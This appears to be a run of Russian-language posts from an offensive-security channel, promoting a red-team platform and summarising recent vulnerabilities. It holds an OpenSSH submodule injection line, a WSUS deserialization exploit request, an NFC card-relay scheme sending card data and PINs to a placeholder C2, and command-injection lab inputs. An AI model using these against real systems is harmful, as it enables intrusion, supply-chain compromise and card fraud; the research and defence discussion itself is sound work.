ВИДЕОПОСТ

В 2019 году был на PHDays и слушал в зале (кхм, в коридоре московского Defcon'а) доклад Дениса Макрушина про атаки на OpenEMR — тогда (и сейчас) был актуальным вектором атак на медицинские организации.

Помню, как тогда загорелся подходом Red Team, начал копать глубже, а спустя 6 лет можно посмотреть на то, как мы с Денисом и Евгением обсуждаем актуальные темы использования искусственного интеллекта в кибербезопасности.

Рассказал, какие преференции даёт атакующим применение искусственного интеллекта, насколько широкие возможности это открывает для профессионалов в сфере информационной безопасности и как это может помочь защитникам.

Наша беседа рассчитана на широкую аудиторию, так что не робейте — рассылайте ссылку сёстрам, дочерям, матерям.

CLICK2WIN

👾

Мир меняется — и мы тоже.
Раньше здесь были гайды и пентестерский бэклог. Сегодня я хочу показать, куда это всё привело.

◾️ Я больше полугода работаю над проектом Ледокол OS — Инфраструктурной платформой для Red Team и наступательных киберопераций.
◾️ Это уже не утилита, а сложный продукт, над которым вместе со мной работают мои коллеги.
◾️ Подробности и первые обзоры мы начинаем публиковать на странице проекта:

https://ledokol.privesc.ru/

Сегодня первый анонс.
В понедельник выйдет полноценный технологический обзор.

Коллеги, в блоге вышел новый материал — «Ledokol: интерфейс пользователя».

Ледокол дает вам волю управлять наступательными операциями в режиме реального времени. Теперь для атакующего процесс анализа защищённости превращается в увлекательное занятие с механикой RTS-стратегии: метрики понятны, плейбуки исполняются мгновенно, даже сложные задачи решаются через LLM-ассистента Мишка-GPT.

«Ледокол» убирает хаос и даёт единый центр управления. Всё под вашим контролем. Всё внутри изолированного контура. Все победы — ваши.

🤙🏻 Остаёмся на связи.

👉🏻 Читать статью.

🎙 В среду иду на подкаст — свободный разговор о том, что происходит в современной разработке: от вайб-кодинга и AI-агентов до инфраструктуры.

Поговорим о том, где разработчики чаще всего спотыкаются об безопасность и почему даже хорошие практики нередко превращаются в иллюзию контроля.

Если вы сами варитесь в этой среде — напишите, какие темы стоит поднять, что донести коллегам и какие боли подсветить.

💬 Идеи можно оставить через форму связи с каналом — включим самые острые в выпуск.

👾

⚡️F5 — IT-гигант со шпионами внутри производственной среды

15 октября F5 признала: APT-группа аффилированная с иностранной разведкой держала полный доступ к их среде разработки. Присутствие было скрытое, не отличалось от легитимной авторизованной деятельности.  Изъяты исходники BIG-IP, черновики будущих патчей, описания ещё нераскрытых уязвимостей. Всё это — без единого алерта.

Компания уверяет, что всё под контролем, уровень защищённости высокий.
Верим.

Но вывод напрашивается сам — если в твоей лаборатории был противник, он оставил не только закладки в инфраструктуре. Самое ценное для них это понимание: как вы думаете, на основе чего принимаете решения, куда смотрите и куда не смотрите вовсе. Самое критичное, что эти парни уже у многих клиентов F5, сам вендор просто точка входа.

Смысл не в майнере и не в шифровании вашей инфраструктуры выкупа ради. Они торгуют данными, которые портят погоду владельцам бизнеса и дают аргументы для того что бы предприятие было дискредитировано, его клиенты скомпрометированы. Они создают свои kill chain из ваших разработчиков, подрядчиков, интеграторов — и продают спецслужбам чувствительную информацию. У них всегда имеется козырь и возможность устроить диверсию любого масштаба. Сегодня они «тестят гипотезы», завтра — крутят уязвимость средней критичности до уровня административного доступа в инфраструктуру.

Времена изменились, вас обогнали.

Сканеры, отчёты, SOC-алерты — это необходимо, но недостаточно. Он убирает боль, но не лечит.

Когда котлы встанут, не поможет ни CrowdStrike, ни Mandiant, ни отечественные СЗИ. Предотвратить такое способна только глубокая эмуляция угроз, моделирование каждого реального сценария — даже того, который «в теории невозможен».

Для этого и существует Ледокол ОС.
Суверенная среда, где Red и Blue не играют в догонялки, а работают в связке: атакующие симулируют противника, защитники видят, где он.


В ближайшие дни мы разберём кейс F5 детально — покажем, как их история меняет подход к обороне.
и главное — как “Ледокол” убирает слепые зоны, где даже CrowdStrike не видит.

Мы в сети.

Остаёмся на связи.

CVE-2025-61984: ProxyCommand → newline → rce на клиенте

Openssh до 10.1 пропускает управляющие символы в username, которые через %r летят в ProxyCommand. В bash можно сломать строку exec триггером $[+], шелл падает на ошибке и исполняет следующую строку, которую контролирует атакующий.

В атакуемом репо в .gitmodules у сабмодуля делаем url с «отравленным» username:

$[+] source poc.sh @foo.example.com:repo 

у цели в ~/.ssh/config есть матч с

ProxyCommand ... %r@%h:%p.

git clone --recursive … → на уязвимой машине bash ругается на $[+] и выполняет source poc.sh.

Что уязвимо:
— bash: ошибка на строке → выполняет следующую;
— fish: аналогично;
— csh/tcsh: «illegal variable name» → дальше исполняет;
— zsh: по умолчанию fatal error — уязвимости нет.

Интересный вектор через ssh:// url. часть url-схем на десктопе пропускают перевод строки в username; браузеры часто скрывают username в адресной строке — удобная маскировка для социальной инженерии. Не везде включено по умолчанию, но проверять стоит.

В реальности хороший способ внедриться в цепь поставок и развить атаку дальше.

— ваш сабмодуль в «безобидном» репо → dev/CI с --recursive и конфигом c %r в ProxyCommand;
— авто-генерация конфигов (например, tsh config у teleport исторически клал %r@%h:%p). тут совмещается supply-chain + ssh-прокси.

Минимальная защита.
— обновиться до openssh ≥ 10.1 (запрет control-символов, плюс жёстче к ssh://).
— в ProxyCommand кавычить одинарными (двойные не помогут)

%r → '%r'@%h:%p

Разбор и PoC

👾

Критичная RCE в WSUS (CVE-2025-59287):
выполнение кода без аутентификации через небезопасную десериализацию в GetCookie().

Многие организации на WSUS до сих пор HTTPS сертификат не поставили, как много времени уйдет на установку патча?

Скомпрометированный WSUS — это тривиальный путь до привилегий доменного администратора: учётка не нужна, а сервер обновлений часто влияет на большинство рабочих станций.

Контекст и условия эксплуатации

- RCE через AuthorizationCookie и небезопасную десериализацию BinaryFormatter. Нужен сетевой доступ к SOAP-эндпоинту WSUS (обычно 8530/8531).

- WSUS компонент AD которому в 99% случаев доступен весь домен и он контролирует обновления на рабочих станциях и серверах. Компрометация WSUS даёт рычаги для исполнения на рабочих станциях домена и последующего бокового движения.

Ссылка на исследование
https://hawktrace.com/blog/CVE-2025-59287

Разбор PoC

Генерим полезную нагрузку через BinaryFormatter (в Base64).

Шифруем: AES-128-CBC, нулевой IV, нулевое дополняющее выравнивание, первый блок — шифрованный salt.

Base64 передаем как значение AuthorizationCookie.

после расшифровки вызывается BinaryFormatter.Deserialize() без валидации — gadget исполняется под SYSTEM внутри IIS/WSUS.

??????

PROFIT

POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

PoC
https://gist.github.com/hawktrace/880b54fb9c07ddb028baaae401bd3951

cook — личный повар пентестера.

надоели устаревшие словари из seclists? у кого-то секретным ингредиентом был Евгений Викторович, у нас — утилита cook.
сделаем свою кухню словарей под русское багбаунти и пентест, без импортного ГМО.

1. установка

go install -v github.com/glitchedgitz/cook/v2/cmd/cook@latest
cook help

если ответил — повар заступил на смену.

2. директории под ffuf / feroxbuster

русскоязычный периметр:

cook add ru_paths_core=admin,login,signin,auth,account,profile,lk,lk-fiz,lk-ur,lichnyj-kabinet,kabinet,backoffice,staff,internal,api,api-v1,api-v2 in lists

генерим словарь:

cook ru_paths_core >> ru_paths_core.txt

пример под ffuf:

ffuf -w ru_paths_core.txt -u https://target.ru/FUZZ -mc all -fc 404

одно cook ru_paths_core — и у тебя готовый ru-wordlist на все «личные кабинеты» и прочий бизнес-срам.

3. параметры под ру-пдн и финтех

cook add ru_params_all=inn,kpp,ogrn,ogrnip,snils,polis,passport,phone,msisdn,email,fio,card,pan,ls,rs,bik,account,account_id,client_id,session,sessionid,token,access_token,refresh_token,phpsessid,jwt in lists

вываливаем в файл:

cook ru_params_all > ru_params_all.txt

кормим x8:

x8 -u "https://target.ru/path?FUZZ=1" -w ru_params_all.txt

логика простая: всё, что связано с деньгами и ПДн на ру-рынке, ты перебираешь не рандомным мусором, а нормальным, местным словарём.

4. русские поддомены + мешаем с assetnote

сначала описываем, как живут окружения и роли в русской инфре:

cook add ru_sub_env=dev,test,stage,preprod,prod,qa,lab,sandbox in lists

cook add ru_sub_role=lk,lichnyj-kabinet,lk-ur,lk-fiz,portal,office,corp,intra,staff,sotrudniki,oplata,platezhi,kassa,bank,online,api,gateway,gw,vpn,proxy,rdp,remote,secure in lists

теперь собираем сабдомены вида dev.lk.*, preprod.api.*, prod.portal.*:

cook ru_sub_env . ru_sub_role -m sortu >> ru_bank_subdomains.txt

проверка:

wc -l ru_sorted_subdomains.txt
head -n 20 ru_sorted_subdomains.txt

дальше подмешиваем assetnote (commonspeak2):

mkdir -p wordlists

wget -O wordlists/assetnote_subdomains.txt \
'https://raw.githubusercontent.com/assetnote/commonspeak2-wordlists/master/subdomains/subdomains.txt'

и добавим в наш локальный словарь заморских специй:

cat ru_sorted_subdomains.txt wordlists/assetnote_subdomains.txt \
  | cook -m sortu >> mega_subdomains_ru.txt

получается здоровый комбинированный список сабдоменов под любой dnsx / puredns / ffuf:

dnsx -w mega_subdomains_ru.txt -d target.ru
# или
ffuf -w mega_subdomains_ru.txt -u https://FUZZ.target.ru/ -mc all -fc 404

главная мысль

один раз завёл свои ru_* в my.yaml — дальше на каждый новый проект:

и ты каждый раз приходишь не с утомившем big.txt, а со своим авторским подходом.

LET HIM COOK.
👾

#RediShell рабочий PoC

внутри полноценная цепочка: утечки, подмена структур, JOP-пивот и машинный код. универсальным его не назовёшь (жёсткая привязка к версиям/офсетам), но как доказательство RCE — да.

для продового «универсала» потребуется портировать офсеты/гаджеты под вашу сборку redis/glibc и повторить гимнастику с аллокатором. но факт «выхода из песочницы до RCE» он доказывает.

https://github.com/saneki/cve-2025-49844

👾

Актуальные техдирские расценки:

Я работаю у вас CTO — $10 000 / мес.

Я работаю у вас СTО, но без полномочий, а только с ответственностью — $20 000

Я работаю у вас СTО, но без полномочий, без команды и ресурсов, а только с ответственностью — $50 000

Я работаю у вас СTО, но без полномочий, без команды и ресурсов, а только с ответственностью, и ещё вы мне говорите, как мне мою работу делать — $100 000

Вы работаете сами у себя СTО, а я подсказываю — $200 000

Вы работаете сами у себя СTО, а я просто смотрю — $500 000

клиентская изоляция на wi-fi это маркетинг, а не броня. точка доступа фильтрует трафик на уровне своего интерфейса, но не может отменить законы физики: эфир общий, при правильном подходе пакет долетит до всех.

Pulse Security показали, как аккуратно обойти изоляцию через инъекцию 802.11-пакетов в эфир напрямую, не трогая AP.

идея простая:

1. поднимаем беспроводную карту в режим монитора;
2. поднимаем tap-интерфейс и гоняем обычный ip-трафик через него;
3. python-скрипт слушает tap, заворачивает пакеты в 802.11 data-кадры, подставляет mac как будто кадр пришёл от AP, и инжектит его в эфир.

AP видит только «тихий» трафик в эфире, не проходящий через его мост, а клиент принимает кадр как легитимный. клиентская изоляция ломается: можно сканировать порты, слать эксплойты, mitm — всё мимо правил ap.

практика для red team:

- гостевые сети / «гостевой wi-fi в офисе» -> получаешь psk, вешаешь карту в мониторинг и ходишь по клиентам, как по обычной подсети;
- атаки на iot-хлам, который сидит в отдельном guest-ssid;
- сценарий «сидим в холле, бьём в IOT или принтеры по 631 порту, которые вроде бы “изолированы”».


что с защитой:

- client isolation только дополнительный слой, а не барьер;
- критичные сегменты по vlan, firewall на хостах, eap-tls вместо psk;
- не верить в чудо-галочки «ap isolation» в веб-морде железки.

вывод простой: если ваш контроль можно обойти одной AWUS036ACH в режиме монитора и сотней строк python — это не контроль, это заблуждение.

👾

nGate: ретрансляция NFC

#RedTeam #AntiFraud #Мошенничество

банки любят мантру «устройство клиента - доверенное устройство». история с nGate показывает: карту клиента можно не красть — достаточно перенаправить её NFC-трафик к банкомату.

ДАННЫЙ МАТЕРИАЛ ПОДГОТОВЛЕН ИСКЛЮЧИТЕЛЬНО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ С ЦЕЛЬЮ ПОВЫШЕНИЯ УРОВНЯ ОСВЕДОМЛЕННОСТИ О СОВРЕМЕННЫХ УГРОЗАХ В ФИНАНСОВОМ СЕКТОРЕ! ОТВЕТСТВЕННОСТЬ ЗА ПРАКТИЧЕСКОЕ ПРИМЕНЕНИЕ ДАННОЙ ТЕХНИКИ ЛЕЖИТ НА ПОЛЬЗОВАТЕЛЕ!

👾 схема атаки

1. жертва получает фишинговое письмо / смс → ставит «банковское» apk не из маркета.
2. звонит «сотрудник банка» и дожимает установить и открыть приложение.
3. приложение просит «подтвердить карту»:
— поднести пластик к телефону по NFC;
— ввести PIN на экранной клавиатуре.

дальше телефон работает как реле:

* модуль в режиме reader считывает EMV-данные карты (PAN, срок, AID, APDU);
* PIN уходит в тот же канал;
* всё это отправляется по TCP на C2 ($BLACKHAT_IP:5653), а оттуда — на устройство у банкомата;
* второе устройство ведёт себя как HCE-карта, банкомат думает, что перед ним настоящая карта, и отдаёт кэш.

🧱 что под капотом

* apk регистрируется как платёжный сервис HCE и как NFC-reader.
* конфиг (хост, порт, флаги mode, reader, tls) лежит в ресурсе assets/____, зашифрован XOR’ом.
* ключ XOR = SHA-256 сертификата подписи apk → без него конфиг не вытащить.
* протокол простой: len | opcode | body, без tls — в открытом виде.
* у PIN-клавиатуры: 4 цифры ввёл → событие → NetMan сразу шлёт OP_PIN_REQ на C2.

итог: карта, срок, AID, APDU и PIN гарантированно покидают устройство и воспроизводятся у банкомата.

🎯 ценность для red team

* паттерн не завязан на конкретный банк. это показательный PoC, как через мобилу превращать «доверенное» устройство в реле для любых proximity-протоколов.
* отличная модель для моделирования угроз авторизованной активности
* для упражнений: одна роль — телефон-ридер у жертвы, вторая — HCE-эмиттер рядом с терминалом / банкоматом.

если ваши заказчики заинтересованы в нетривиальных сценариях, пожмите им руку и попробуйте согласовать такой трюк.

🛡 что по защите

* пу пу пу, вот так задачка, неправда ли?
* считать клиентский девайс «святым» — ошибка. он может быть и ридером, и эмиттером, и C2-клиентом одновременно;
* необходима токенизация, лимиты, поведенческий анализ на стороне банка, контроль источника приложений;
* любая схема, где «клиент сам вводит PIN в непонятное приложение» — должна считаться компрометирующей по умолчанию.

https://cert.pl/posts/2025/11/analiza-ngate/

итог:
если в модели угроз вашего банка «телефон клиента — доверенная сторона», они у вас оптимисты сказочные.

👾

Red Teaming не равен «внутренний анализ защищённости».
то, как у нас это слово применяют — классика провинциального карго-культа.

откуда вообще взялся red team?

изначально это военная история.
пентагон, синяя команда — те, кто реально админят и защищают инфраструктуру.
красная — их же сотрудники, которым дали карт-бланш на любое свинство: шпионаж, инсайдерская угроза, грязные приёмы, параноидальные сценарии. задача одна: найти все, даже шизофренические варианты компрометации, пока это не сделал противник.

инфобез это просто перенял. red team — это не «вид пентеста». это режим мышления и формат учений, где красные и синие играют не по методичке, а до талого.

как это сломали на отечественном рынке

фразой «Red Teaming» начали называть всё подряд:

- внутренний анализ защищённости
- инфраструктурный пентест
- управление уязвимостями

наняли чувака, который крутит сканер и пишет репорты — всё, «наш ретимер». НЕТ!

редтимер — это не “ходячий гугл” и не живой чек-лист с вылизанной репутацией отличника из Бауманки.
редтимер — это боевой элемент команды, который применяет свои асоциальные навыки во благо общества и закрывает конкретный класс атак:

- один — социальный инженер, который умеет выбивать доступ из людей
- второй — мастер AD и Windows, FreeIpa который живёт в lsass и kerberos
- третий — вебхакер, который ломает бизнес-логику, а не только запускает sqlmap
- четвёртый — сетевик, который чувствует фильтрацию, как шахматист позицию оппонента
- пятый — мозг операции: читает схемы мошенничества, финансовые потоки, бизнес-процессы и понимает, где реально больно

#RedTeam — это оркестр людей и ролей, заточенный под одно:
закрыть слепые зоны защиты организации.

три уровня работ

давай по-честному разделим термины:

1. анализ защищённости
почти белый ящик. ваша задача — собрать максимум уязвимостей, рассмотреть конфиги, версии, архитектуру. это инвентаризация болевых точек.
2. тестирование на проникновение
серый/чёрный ящик. меньше инфы, больше импровизации. цель — показать, как глубоко может зайти атакующий по конкретному вектору.
3. red team / киберучения
это уже иное:
«смотрите, где вы слепы: проникновение, недостаток мониторинга, отсутствие реагирования, восстановление»

редтимер не обязан показать, что он «самый умный хакер в мире». он обязан показать, где компания слепая, глухая и тупая.

если вас зовут «ретимером», а по факту вы:

- крутите Nessus/MaxPatrol
- заполняете табличку в Excel
- и вас зовут на планёрки как «ответственного за реестр уязвимостей»

это не #RedTeam. это vuln management под странным названием. вас обманывают люди, которые сами не понимают, что такое наступательная безопасность.

с чем реально работает red team в 2025+

на нашем рынке все громкие истории взломов крутятся вокруг простых вещей, которые никто не отрабатывал:

- покупка валидных учёток у продавцов утечек
- логин с легит-адресов, легит-устройств, знакомых браузеров
- действия внутри системы, которые на 90% похожи на обычную работу сотрудника

главная беда сегодня — это аутентифицированный злоумышленник, у которого:

- есть логин/пароль
- есть иногда и второй фактор
- есть понимание, что и где нажать

а вот контроль авторизованных действий у большинства организаций в коме. всё, что происходит после логина, часто не мониторится, не моделируется и не эмулируется.

#RedTeam должен работать не только с «информационной безопасностью», но и:

- экономической безопасностью — где и как воруют деньги, активы, инсайды
- общественной безопасностью — репутация, шантаж, давление через публичку
- психологией организации — кто реально принимает решения, кто кого боится, кто кому продаёт доступ

это и есть работа с паранойей собственников и служб безопасности:
«что будет, если завтра на наше место придёт реальный противник?»

вывод:
если red team в компании свели к галочке «у нас есть редтим, он сканер крутит», — это не безопасность, это театральный кружок.
реальный #redteam — это про слепые зоны, аутентифицированные атаки и умение смотреть на компанию глазами того, кто не обязан играть по правилам.

ip.thc.org — свежий сервис от The Hacker’s Choice, который собирает reverse dns, сабдомены и cname по всему интернету и предоставляет данные через удобное api.

#RedTeam #Recon #OSINT #BugBounty

ключевые фишки:

- reverse-dns по ip и подсетям
- поиск поддоменов
- поиск доменов, которые висят cname-ом на одну точку

имеется консольный режим в стиле «ленивая рекогносцировка»:
rDNS

curl https://ip.thc.org/140.82.121.3

subdomains

curl https://ip.thc.org/sb/example.com

главное здесь это bulk-дампы.
каждый месяц они выкладывают полный дамп базы: пример за ноябрь ~4.75 млрд записей, parquet и csv:

https://ip.thc.org/docs/bulk-data-access

там ссылки на rdns-*.parquet.gz / rdns-*.csv.gz. забрал, залил в duckdb / clickhouse / spark - и все полимеры ваши.

применение очевидно:

red team: находить теневые домены, старые инфровые узлы, ресурсы на хостерских ip

багбаунти: быстро расширять перечень исследуемых ресурсов, подбирать интересные vhost’ы и shared-хостинг

сервис халявный, дампы открытые. толковый пример, как должны выглядеть OSINT-инструменты в 2025, а не очередной «осинт-как-сервис за $199/мес».

сообщение автора увидел в прокси-баре, просил порепостить. если есть что докинуть из данных, можете пошарить ему информацию, контакты передам по запросу, пишите в сообщения этому каналу.

перешли коллегам.

👾

блоатварь — реальное зло.
на DEFCON Леон Джейкобс взял фирменное ПО от asus/msi/acer/razer и за очень короткое время нарыл шесть cve. Без ядерных эксплойтов, эксплуатации hyper-v, тут даже проблема не в драйвере — просто утилиты, которые ставятся «из коробки», чтобы мигать лампочками.

меня этот ресерч зацепил тремя вещами:

1. обширная поверхность атаки.
каждый вендор притащил с собой мини-зоопарк локальных веб-серверов, tcp-сокетов, именованных каналов и прочего IPC. половина этого добра крутится с правами system, живёт в автозапуске и слушает любые запросы с localhost. по факту — постоянный локальный api-шлюз с правом исполнения от системы, который сделан на отъебись.


2. как легко это всё находилось.
никакой магии: пару часов проснифать трафик, посмотреть, чем общается фронт с беком, — и дальше обычный набор: нет аутентификации, пародия на валидацию, кривой CORS. классические ошибки, которые мы привыкли видеть в вебе 2010 года, только теперь они живут в предустановленном софте, который массово стоит у юзеров.


3. эксплуатация до rce/lpe в один клик по ссылке.
несколько цепочек сводились к сценарию «юзер открыл подготовленный url → локальный “сервер” от вендора честно исполнил команду от имени system». просто дыра в логике + запуск браузера.



технически там хороший набор классики:

кривые проверки подписи и доверие к любому подписанному чем угодно мусору;

гонки в ipc-логике;

отсутствие строгих привязок между «ui-шелухой» и привилегированным сервисом.


важный вывод простой и неприятный:

чем больше «фирменного» софта вы тащите из коробки, тем больше у вас скрытых входных дверей;

эти штуки не предоставляют такой же уровень защищённости, как os или браузер, но при этом висят максимально близко к nt/system.


отсюда практическая рекомендация:

корпоративный стандарт — полная ликвидация блоатвари с образов;

минимум предустановленных утилит, максимум жёстких требований к тем, что остаются;

на ревью инфраструктуры — рассматривать «фирменные панели» и лаунчеры как полноценную поверхность атаки, а не «безопасный UI для юзера».


ссылка на доклад: https://youtu.be/zSBf2CMKlBk — посмотрите как учебник по тому, почему доверять вендорскому софту «для удобства» — роскошь, которой у нас больше нет.

👾

вопрос к тем, кто ещё не превратился в SOC-манекен:
вы знаете, в какой endpoint это можно отправить и что за это можно получить?

{"jsonrpc":"2.0","method":"tools.list","params":{},"id":1}

маленький json-запрос, никакого fuzzинга, никакого 0day.
если угадываешь правильный endpoint и контекст:

внешний периметр, b2b-сервисы, «панельки для партнёров», self-hosted умные-платформы, devtools, внутренние доступы — там такое добро лежит удивительно часто.

и да, пользовательский дебилизм стабилен:
экспонировать в интернет то, что «только для внутреннего пользования», такое их не смущает.

💬 напишите в сообщения каналу, с чем у вас ассоциируется такой jsonrpc-запрос и где вы уже встречали похожее.

📌 накидайте реакций, и я выкачу полноценное исследование в блоге:

- как искать такие endpoint’ы с внешки;
- как их перечислять изнутри;
- какие преференции это даёт атакующему на реальных кейсах 2025+.

кто понимает, тот уже напрягся. остальные поймут, когда появится разбор.

хак зе планет

👾

react 19 официально превратился в «удалённый шелл как фича».
разочарование года или CVE-2025-55182, CVSS 10.0, unauth RCE в React Server Components.
баг в движке, на котором крутится половина интернета.

пока баг-баунтеры героически «реверсят open source», предлагаю увлекательную игру для тех, кто ещё не уснул:
найди багу используя diff

сценарий такой:

* RCE висит в RSC / React Flight протоколе — там, где сервер разбирает payload для Server Functions и десериализует то, что к нему прилетело.

уязвимы:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack в 19.0, 19.1.0, 19.1.1, 19.2.0.
* фикс залили в 19.0.1, 19.1.2, 19.2.1 — классика: «мы просто чуть лучше валидируем пользовательский ввод».

если ты хочешь не читать чужие блоги, а реально понимать, где ломается мир — идём сразу к диффу.

git clone https://github.com/facebook/react.git
cd react
git fetch --all --tags

git diff v19.2.0..v19.2.1 -- \
  packages/react-server \
  packages/react-server-dom-webpack \
  packages/react-server-dom-parcel \
  packages/react-server-dom-turbopack

дальше упражнение:

* ищешь, где меняется логика декодинга/десериализации payload’ов для server functions;
* отмечаешь места, где внезапно появляются проверки типов, ограничение длины, доп. ветки ошибок;
* задаёшь себе честный вопрос: что мешало мне подсунуть это раньше и что именно теперь режут?

это и есть нормальный AppSec: не «прочитал тред в твиттере», а руками прошёл путь от CVE → патч → эксплойт.

для тех, кто живёт в проде, а не в лабе:

* если у тебя RSC / Next.js / Vite RSC / Parcel RSC — обновление не обсуждается;
* параллельно — пробежаться по своим образам, lock-файлам и CI, чтобы там не осталось старых react-server-dom-*.

react снова напомнил, что «frontend» давно уже не про кнопочки.
хочешь быть взрослым — учись читать патчи, а не release notes.


хак зе пленет

👾

ладно, сферический vm.runInThisContext в вакууме мы уже помучали
теперь нормальный стенд под живого человека

навайбкодил отдельную лабу:
https://github.com/ghe770mvp/RSC_Vuln_Lab

тут вместо академического «давайте сразу дергать vm» — реальный серверный гаджет, похожий на то, что вы увидите в проде:

* есть server.js, который дергает уязвимый decodeAction из react-server-dom-webpack 19.2.0 без патчей
* есть app/server-actions.js с уязвимым server action generateReport
* есть scripts/report.js, который изображает генератор отчётов и принимает аргументы командной строки

типичный бизнес-флоу уровня «сделай мне отчётик по проекту в pdf»
под капотом — классика жанра: child_process.exec + конкатенация строк
всё как мы любим в больших корпорациях

дальше магия rsc:

* decodeAction по уязвимому протоколу проглатывает наши $ACTION_*
* мы подсовываем generateReport параметры вроде pdf & whoami
* отчёт внезапно «генерится» вместе с whoami на хосте

никаких искусственных vm#runInThisContext, никаких «специальных учебных серверов»
ровно тот уровень идиотизма, который легко встретить в enterprise:
«ну мы же всего лишь обёртку над exec написали, что тут может пойти не так»

лаба нужна для трёх вещей:

1. показать, как RSC-RCE может встраивается в реальный код
2. дать удобный стенд для отладки и анализа протокола / формата payload’ов
3. дать материал под нормальные демо

если хотите ресерчить CVE-2025-55182 не в вакууме, а на почти IRL-сценарии берите это репо и гоняйте, меняйте гаджеты, логами обмазывайтесь.

приятных снов.

👾